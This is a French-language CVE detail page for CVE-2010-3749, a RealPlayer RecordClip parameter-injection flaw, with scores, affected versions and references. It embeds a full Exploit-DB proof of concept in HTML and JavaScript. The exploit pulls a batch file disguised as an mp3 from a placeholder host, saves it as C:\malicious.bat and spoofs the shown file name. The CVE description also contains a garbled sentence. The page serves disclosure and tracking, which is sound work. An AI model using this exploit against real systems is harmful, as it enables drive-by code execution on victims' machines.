CVE-2010-3749 : Détail

CVE-2010-3749

Code Injection
A03-Injection
49.02%V3
Network
2010-10-18
20h00 +00:00
2011-01-21
09h00 +00:00
CVE.org
NVD
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Descriptions du CVE

The browser-plugin implementation in RealNetworks RealPlayer 11.0 through 11.1 and RealPlayer SP 1.0 through 1.1 allows remote attackers to arguments to the RecordClip method, which allows remote attackers to download an arbitrary program onto a client machine, and execute this program, via a " (double quote) in an argument to the RecordClip method, aka "parameter injection."

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-94 Improper Control of Generation of Code ('Code Injection')
The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 9.3 AV:N/AC:M/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 15991

Date de publication : 2011-01-13 23h00 +00:00
Auteur : Sean de Regge
EDB Vérifié : No

Sources: https://www.securityfocus.com/bid/44443/info http://packetstormsecurity.org/files/view/97522/recordingmanager-ie.txt <html> <p> Written by Sean de Regge (seanderegge hotmail.com) Exploit for the parameter injection bug in Realplayers RecordClip() activeX function and firefox plugin http://www.zerodayinitiative.com/advisories/ZDI-10-211/ C:\Program Files\Real\RealPlayer\RecordingManager.exe has 2 interesting switches: /t will spoof the download of any file so you can make it look like it's downloading a normal mp3 file /f will make it download to any location on the disk instead of the realplayer downloads folder Restrictions: The extension on server side must be a valid media file (ie: .mp3) Realplayer does some checks on the file to see if it is a valid media file too, so we need to create a chimera file, which will parse as a valid mp3 file and a valid batch file. Best is to take a valid mp3 file and modify it in a hex editor to have your batch commands in the first couple of bytes. </p> <OBJECT ID="obj" WIDTH=0 HEIGHT=0 CLASSID="CLSID:FDC7A535-4070-4B92-A0EA-D9994BCC0DC5"> </OBJECT> <embed type="audio/x-pn-realaudio-plugin" controls="ImageWindow" console="video1" src='http://xx.xx.xx.xx/batch_file_in_mp3.mp3" /f C:\\malicious.bat /t cool_song.mp3' width="240" height="180" autostart=true> </embed> <script> var file = 'http://xx.xx.xx.xx/batch_file_in_mp3.mp3" /f C:\\malicious.bat /t cool_song.mp3'; obj.RecordClip(file, "audio/mpeg3", "clipInfo"); </script> </html>

Products Mentioned

Configuraton 0

Realnetworks>>Realplayer >> Version 11.0

Realnetworks>>Realplayer >> Version 11.0.1

Realnetworks>>Realplayer >> Version 11.0.2

Realnetworks>>Realplayer >> Version 11.0.3

Realnetworks>>Realplayer >> Version 11.0.4

Realnetworks>>Realplayer >> Version 11.0.5

Realnetworks>>Realplayer >> Version 11.1

Configuraton 0

Realnetworks>>Realplayer_sp >> Version 1.0.0

Realnetworks>>Realplayer_sp >> Version 1.0.1

Realnetworks>>Realplayer_sp >> Version 1.0.2

Realnetworks>>Realplayer_sp >> Version 1.0.5

Realnetworks>>Realplayer_sp >> Version 1.1

Realnetworks>>Realplayer_sp >> Version 1.1.1

Realnetworks>>Realplayer_sp >> Version 1.1.2

Realnetworks>>Realplayer_sp >> Version 1.1.3

Realnetworks>>Realplayer_sp >> Version 1.1.4

Références

http://www.securityfocus.com/bid/44144
Tags : vdb-entry, x_refsource_BID
http://www.exploit-db.com/exploits/15991
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.securityfocus.com/bid/44443
Tags : vdb-entry, x_refsource_BID